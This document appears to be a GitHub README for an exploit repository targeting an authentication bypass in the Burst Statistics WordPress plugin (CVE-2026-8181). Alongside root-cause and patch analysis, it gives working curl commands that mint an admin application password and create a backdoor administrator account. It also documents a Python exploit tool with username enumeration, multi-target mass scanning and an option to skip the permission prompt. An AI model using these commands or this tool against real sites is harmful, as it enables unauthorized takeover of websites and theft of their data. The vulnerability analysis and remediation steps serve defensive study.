Yucaerin/CVE-2026-8181
GitHub: Yucaerin/CVE-2026-8181
Stars: 0 | Forks: 1
# CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — Authentication Bypass to Admin Account Takeover
**Vulnerability Summary**
The vulnerability stems from the `is_mainwp_authenticated()` function in `class-mainwp-proxy.php`. This function calls `wp_authenticate_application_password()` and only checks whether the result is a `WP_Error`. It does **not** verify whether the result is actually a successful `WP_User` object. When WordPress's internal filter `application_password_is_api_request` returns `false` — which happens when the call is made outside the normal REST API authentication flow — the WordPress function returns `null` instead of a `WP_Error` or `WP_User`. Because `null` is not a `WP_Error`, the check passes, and the attacker's chosen admin user is set as the current user via `wp_set_current_user()`.
Once the current user is switched to an administrator, subsequent capability checks pass. The attacker can then reach the `/burst/v1/mainwp-auth` REST endpoint, which creates a WordPress Application Password for the admin account and returns it in the response. This gives the attacker persistent, full admin-level access.
**Affected Plugin**
| Field | Value |
|---|---|
| **Plugin Name** | Burst Statistics – Privacy-Friendly WordPress Analytics |
| **Plugin Slug** | `burst-statistics` |
| **Affected Versions** | 3.4.0 – 3.4.1.1 |
| **Patched Version** | 3.4.2 |
| **CVE ID** | CVE-2026-8181 |
| **CVSS Score** | 9.8 (Critical) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **Vulnerability Type** | Authentication Bypass (Improper Authentication) |
| **CWE** | CWE-287 — Improper Authentication |
| **Impact** | Full Site Takeover — Admin Account Takeover |
**What Attackers Can Do**
| Capability | Impact |
|---|---|
| Mint Application Password for any admin | **Persistent Admin Access** |
| Create new admin accounts via REST API | **Account Proliferation** |
| Install plugins / themes | **Remote Code Execution** |
| Edit posts, pages, and settings | **Site Defacement** |
| Export or delete all site data | **Data Destruction / Exfiltration** |
| Access WooCommerce / customer data | **Data Breach** |
**Technical Analysis**
### Plugin Initialization and the Vulnerable Gate
Burst Statistics initializes during WordPress's `plugins_loaded` hook at priority 9, inside `class-burst.php`:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
`has_admin_access()` is the gatekeeper for all admin functionality. It checks for the `X-BurstMainWP` header and calls into the vulnerable function:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
### The Vulnerable Function: `is_mainwp_authenticated()`
// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
### Why `wp_authenticate_application_password()` Returns `null`
WordPress internal function `wp_authenticate_application_password()` has a filter:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
When called **outside** the REST API authentication flow, this returns `null`. The Burst Statistics code only checked `is_wp_error($is_valid)` — `null` is not a `WP_Error`, so the check incorrectly passes.
### Execution Path to Admin Takeover
1. Attacker sends `X-BurstMainWP: 1` header with any request
2. `has_admin_access()` triggers `is_mainwp_authenticated()`
3. `wp_authenticate_application_password()` returns `null` (not in API context)
4. `is_wp_error(null)` = `false` → check **passes**
5. `wp_set_current_user($admin_id)` executes
6. Current user is now the chosen administrator
7. Attacker POSTs to `/burst/v1/mainwp-auth`
8. `handle_auth_request()` mints a WordPress Application Password
9. Token returned as `base64(username:app_password)`
10. Attacker uses this token for persistent admin REST API access
### Patch Analysis (3.4.2)
// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Fixes applied:
- Force `application_password_is_api_request` filter to `true` so actual password validation occurs
- Check that the result is a `WP_User` instance (not `null`)
- Use `hash_equals()` to verify username match
Additionally, the `check_auth_permission()` for the REST endpoint was hardened to require `current_user_can('manage_burst_statistics')` **and** explicit nonce verification for cookie-authenticated requests.
**Proof of Concept**
### Manual cURL
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&email=attacker@example.com'
### Python Exploit Tool
The `exploit_burst_statistics.py` script automates the full attack chain:
- **Phase 0**: Version detection via `readme.txt`, plugin header, or asset query strings
- **Phase 1**: Admin username enumeration via REST API, author pages, or common username list
- **Phase 2**: Auth bypass with `X-BurstMainWP: 1` + fake Basic Auth to mint token
- **Phase 3**: Token verification and structure validation
- **Mass Scanner**: Threaded multi-target scanning with real-time vulnerable target logging
**Exploit Features**
- Unauthenticated — no prior access required
- Single HTTP request to mint persistent Application Password
- Auto-detects Burst Statistics version and skips patched targets
- Auto-enumerates admin username if not provided
- Supports both pretty permalinks (`/wp-json/`) and ugly permalinks (`/?rest_route=`)
- Mass scanning with `ThreadPoolExecutor`
- Real-time file write — vulnerable targets saved immediately without waiting for scan completion
- Thread-safe file locking
**Usage**
### Single Target (Auto-Enumerate Admin)
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
### Single Target (Known Admin Username)
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
### Mass Scan
Create `targets.txt`:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
### Options
| Flag | Description |
|---|---|
| `-t, --target` | Single target URL |
| `-l, --list` | File with target list (one per line) |
| `-T, --threads` | Threads for mass scan (default: 10) |
| `-o, --output` | Output file for results (default: `result_burst_statistics.txt`) |
| `-u, --username` | Known admin username (skip enumeration) |
| `-v, --verbose` | Verbose debug output |
| `--timeout` | Request timeout in seconds (default: 20) |
| `--no-confirm` | Skip permission confirmation prompt |
**Fix Recommendations**
For developers and site owners:
1. **Update immediately** to Burst Statistics **3.4.2** or later
2. If unable to update, temporarily disable the plugin
3. After updating, revoke all existing Application Passwords for admin accounts:
- WP Admin → Users → [Admin] → Application Passwords → Revoke All
4. Check for unauthorized admin accounts or unexpected user creation
5. Review server logs for requests containing `X-BurstMainWP: 1` header
**Timeline**
| Date | Event |
|---|---|
| 2026-05-08 | CVE reserved |
| 2026-05-11 | Vendor notified |
| 2026-05-13 | Publicly disclosed |
| 2026-05-13 | Patch released (v3.4.2) |
| 2026-05-15 | Active exploitation reported in the wild |
**Researcher**
- Credit: [Chloe Chamberland — Wordfence PRISM](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/chloe-chamberland)
**References**
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover)
- [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-8181)
- [Patch Diff — class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.2/includes/Frontend/class-mainwp-proxy.php)
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-8181)
**Disclaimer**
This information is provided for **educational** and **authorized penetration testing** purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.